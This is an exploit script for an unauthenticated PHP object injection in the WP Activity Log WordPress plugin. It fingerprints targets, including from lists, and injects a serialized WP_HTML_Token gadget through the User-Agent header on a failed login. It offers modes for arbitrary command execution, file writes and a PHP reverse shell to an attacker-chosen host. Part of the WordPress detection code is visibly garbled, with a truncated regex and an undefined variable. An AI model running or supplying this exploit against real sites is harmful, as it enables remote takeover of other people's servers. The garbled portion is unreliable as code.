#!/usr/bin/env python3
# Exploit Title: WP Activity Log <= 5.6.3.1 - Unauthenticated PHP Object Injection
# Date: 2026-06-22
# Exploit Author: Joshua van der Poll
# Vendor Homepage: https://melapress.com/wordpress-activity-log/
# Software Link: https://downloads.wordpress.org/plugin/wp-security-audit-log.5.6.3.1.zip
# Version: <= 5.6.3.1
# Tested on: WordPress 6.4.1 / PHP 8.3 / Debian
# CVE: CVE-2026-54806
# CVE-2026-54806 — WP Activity Log Unauthenticated PHP Object Injection
# Affected: WP Activity Log (wp-security-audit-log) <= 5.6.3.1
# Impact: Unauthenticated PHP Object Injection via User-Agent header on any logged event
# CWE-502: Deserialization of Untrusted Data | CVSS 9.8
# Author: Joshua van der Poll (https://github.com/joshuavanderpoll)
# Repo: https://github.com/joshuavanderpoll/CVE-2026-54806
import argparse
import random
import re
import string
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
REPO_URL = "https://github.com/joshuavanderpoll/CVE-2026-54806"
PROJECT_NAME = "CVE-2026-54806"
RESET = "\033[0m"
BOLD = "\033[1m"
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
PINK = "\033[95m"
CYAN = "\033[96m"
DEFAULT_UA = f"Mozilla/5.0 AppleWebKit/537.36 ({PROJECT_NAME}; +{REPO_URL})"
DEFAULT_TIMEOUT = 15
# WP_HTML_Token gadget: __destruct → call_user_func($on_destroy, $bookmark_name)
# Only WP core class with all-public properties (survives sanitize_text_field) and
# a usable magic method. Present in WordPress 6.4.0 - 6.4.1 (__wakeup blocker added in 6.4.2).
CHAIN_WP_VERSIONS = "6.4.0 - 6.4.1"
EXEC_FUNCTIONS = ["system", "passthru", "exec", "shell_exec"]
def banner():
art = r"""
______ ______ ___ ___ ___ ____ ____ ____ ___ ___ ____
/ ___/ | / / __/___|_ |/ _ \|_ |/ __/____/ __// / /( _ )/ _ \/ __/
/ /__ | |/ / _//___/ __// // / __// _ \/___/__ \/_ _/ _ / // / _ \
\___/ |___/___/ /____/\___/____/\___/ /____/ /_/ \___/\___/\___/
"""
print(f"{PINK}{art}{RESET}")
print(f" {BOLD}{PINK}{REPO_URL}{RESET}")
print()
def info(msg):
print(f" {BLUE}[*]{RESET} {msg}")
def success(msg):
print(f" {GREEN}[+]{RESET} {msg}")
def error(msg):
print(f" {RED}[-]{RESET} {msg}")
def processing(msg):
print(f" {CYAN}[@]{RESET} {msg}")
def question(msg):
return input(f" {YELLOW}[?]{RESET} {msg}")
def normalize_url(target):
target = target.strip().rstrip("/")
if not target.startswith("http://") and not target.startswith("https://"):
target = "http://" + target
return target
def get_session(useragent, timeout, verify_ssl=False):
session = requests.Session()
session.headers.update({"User-Agent": useragent})
session.timeout = timeout
session.verify = verify_ssl
return session
def detect_wordpress(session, target, login_path="/wp-login.php"):
processing("Detecting WordPress")
try:
resp = session.get(f"{target}{login_path}", allow_redirects=True)
except requests.RequestException as e:
error(f"Could not reach target: {e}")
return False
if "wp-submit" not in resp.text:
error("Target does not appear to be WordPress (use --skip-wp-check to bypass)")
return False
success("WordPress detected")
wp_version = None
meta_match = re.search(
r'https://wordpress.org/\?v=([\d.]+)",
feed_resp.text,
)
if feed_match:
wp_version = feed_match.group(1)
except requests.RequestException:
pass
if wp_version:
info(f"WordPress version: {BOLD}{wp_version}{RESET}")
return True
def detect_plugin(session, target):
processing("Detecting WP Activity Log")
readme_url = f"{target}/wp-content/plugins/wp-security-audit-log/readme.txt"
try:
resp = session.get(readme_url)
except requests.RequestException:
error("Could not check plugin readme")
return None
if resp.status_code != 200 or "WP Activity Log" not in resp.text:
error("WP Activity Log not detected (readme.txt not accessible)")
return None
success("WP Activity Log detected")
version_match = re.search(r"Stable tag:\s*([\d.]+)", resp.text)
if version_match:
version = version_match.group(1)
info(f"Plugin version: {BOLD}{version}{RESET}")
return version
return "unknown"
def generate_payload(command, func="system"):
cmd_len = len(command)
func_len = len(func)
payload = (
f'O:13:"WP_HTML_Token":2:{{s:13:"bookmark_name";'
f's:{cmd_len}:"{command}";'
f's:10:"on_destroy";s:{func_len}:"{func}";}}'
)
if len(payload) > 255:
error(f"Payload too long ({len(payload)}/255) — shorten command")
return None
return payload
def inject_payload(session, target, payload, login_path="/wp-login.php"):
random_user = "wsal_" + "".join(random.choices(string.ascii_lowercase, k=6))
try:
resp = session.post(
f"{target}{login_path}",
data={
"log": random_user,
"pwd": "invalid",
"wp-submit": "Log In",
"testcookie": "1",
},
headers={"User-Agent": payload},
allow_redirects=False,
)
except requests.RequestException as e:
error(f"Injection request failed: {e}")
return False
if resp.status_code in (200, 302):
return True
error(f"Unexpected response: HTTP {resp.status_code}")
return False
def deliver(session, target, command, args):
info(f"Gadget: {BOLD}WP_HTML_Token{RESET} (WordPress {CHAIN_WP_VERSIONS})")
for func in EXEC_FUNCTIONS:
processing(f"Trying {BOLD}{func}(){RESET}")
payload = generate_payload(command, func)
if payload is None:
continue
info(f"Payload length: {len(payload)}/255")
if inject_payload(session, target, payload, args.login_path):
success(f'Payload injected: {BOLD}{func}("{command}"){RESET}')
info(f"Payload: {BOLD}{payload}{RESET}")
success(
"Command executes (blind) when an admin visits the WordPress dashboard"
)
return True
error("Injection failed")
return False
def print_footer():
print()
info(f"{YELLOW}Remediation:{RESET}")
info("Update WP Activity Log to >= 5.6.4")
print()
print(
f" {YELLOW}⭐ If this tool helped you, consider starring the repo: "
f"{BOLD}{YELLOW}{REPO_URL}{RESET}"
)
def run_check(args):
targets = get_targets(args)
for target in targets:
print()
info(f"Target: {BOLD}{target}{RESET}")
session = get_session(args.useragent, args.timeout)
if not args.skip_wp_check:
if not detect_wordpress(session, target, args.login_path):
continue
plugin_version = detect_plugin(session, target)
if plugin_version is None:
continue
marker = "wsal_poi_" + "".join(random.choices(string.ascii_lowercase, k=8))
check_payload = f'a:1:{{s:6:"marker";s:{len(marker)}:"{marker}";}}'
processing("Injecting check payload via failed login")
if inject_payload(session, target, check_payload, args.login_path):
success("Payload injected via User-Agent on failed login")
info(f"Payload: {BOLD}{check_payload}{RESET}")
success(
f"Target is {BOLD}VULNERABLE{RESET} — unauthenticated PHP Object Injection"
)
info("Stored User-Agent passes through sanitize_text_field() intact")
info(
"Retrieval calls maybe_unserialize() without allowed_classes restriction"
)
info("Triggers when admin visits WordPress dashboard")
def run_command(args):
targets = get_targets(args)
for target in targets:
print()
info(f"Target: {BOLD}{target}{RESET}")
session = get_session(args.useragent, args.timeout)
if not args.skip_wp_check:
if not detect_wordpress(session, target, args.login_path):
continue
if detect_plugin(session, target) is None:
continue
if deliver(session, target, args.command, args):
print_footer()
return
def run_shell(args):
targets = get_targets(args)
for target in targets:
print()
info(f"Target: {BOLD}{target}{RESET}")
session = get_session(args.useragent, args.timeout)
if not args.skip_wp_check:
if not detect_wordpress(session, target, args.login_path):
continue
if detect_plugin(session, target) is None:
continue
shell_cmd = (
f'php -r \'$s=fsockopen("{args.lhost}",{args.lport});'
f'$p=proc_open("sh",array(0=>$s,1=>$s,2=>$s),$pipes);\''
)
info(f"Reverse shell: {BOLD}{args.lhost}:{args.lport}{RESET} (PHP fsockopen)")
if deliver(session, target, shell_cmd, args):
info(f"Start listener: {BOLD}nc -lvnp {args.lport}{RESET}")
print_footer()
return
def run_write_file(args):
targets = get_targets(args)
content, path = args.write_file
for target in targets:
print()
info(f"Target: {BOLD}{target}{RESET}")
session = get_session(args.useragent, args.timeout)
if not args.skip_wp_check:
if not detect_wordpress(session, target, args.login_path):
continue
if detect_plugin(session, target) is None:
continue
write_cmd = f"echo '{content}' > {path}"
if deliver(session, target, write_cmd, args):
info(f"Path: {BOLD}{path}{RESET}")
print_footer()
return
def get_targets(args):
targets = []
if args.target:
targets.append(normalize_url(args.target))
if args.target_list:
try:
with open(args.target_list, "r") as f:
for line in f:
line = line.strip()
if line and not line.startswith("#"):
targets.append(normalize_url(line))
except FileNotFoundError:
error(f"Target list not found: {args.target_list}")
sys.exit(1)
if not targets:
error("No targets specified. Use -t or -l ")
sys.exit(1)
return targets
def main():
banner()
parser = argparse.ArgumentParser(
description="CVE-2026-54806 — WP Activity Log Unauthenticated PHP Object Injection",
formatter_class=argparse.RawTextHelpFormatter,
)
parser.add_argument("-t", "--target", help="Target WordPress URL")
parser.add_argument("-l", "--target-list", help="File with list of target URLs")
actions = parser.add_argument_group("actions")
actions.add_argument(
"--check", action="store_true", help="Check if target is vulnerable"
)
actions.add_argument("--command", help="Command to execute on target")
actions.add_argument(
"--shell",
action="store_true",
help="Inject reverse shell (requires --lhost and --lport)",
)
actions.add_argument(
"--write-file",
nargs=2,
metavar=("CONTENT", "PATH"),
help="Write file on target",
)
shell_opts = parser.add_argument_group("shell options")
shell_opts.add_argument("--lhost", help="Listener host for reverse shell")
shell_opts.add_argument("--lport", help="Listener port for reverse shell")
tuning = parser.add_argument_group("tuning")
tuning.add_argument(
"--skip-wp-check",
action="store_true",
help="Skip WordPress detection",
)
tuning.add_argument(
"--login-path",
default="/wp-login.php",
help="Custom login path (default: /wp-login.php)",
)
tuning.add_argument(
"--useragent",
default=DEFAULT_UA,
help="Custom User-Agent for non-payload requests",
)
tuning.add_argument(
"--timeout",
type=int,
default=DEFAULT_TIMEOUT,
help="HTTP request timeout in seconds",
)
args = parser.parse_args()
if not args.target and not args.target_list:
error("No target specified. Use -t or -l ")
sys.exit(1)
if args.check:
run_check(args)
elif args.command:
run_command(args)
elif args.shell:
if not args.lhost or not args.lport:
error("--shell requires --lhost and --lport")
sys.exit(1)
run_shell(args)
elif args.write_file:
run_write_file(args)
else:
error("No action specified. Use --check, --command, --shell, or --write-file")
sys.exit(1)
if __name__ == "__main__":
main()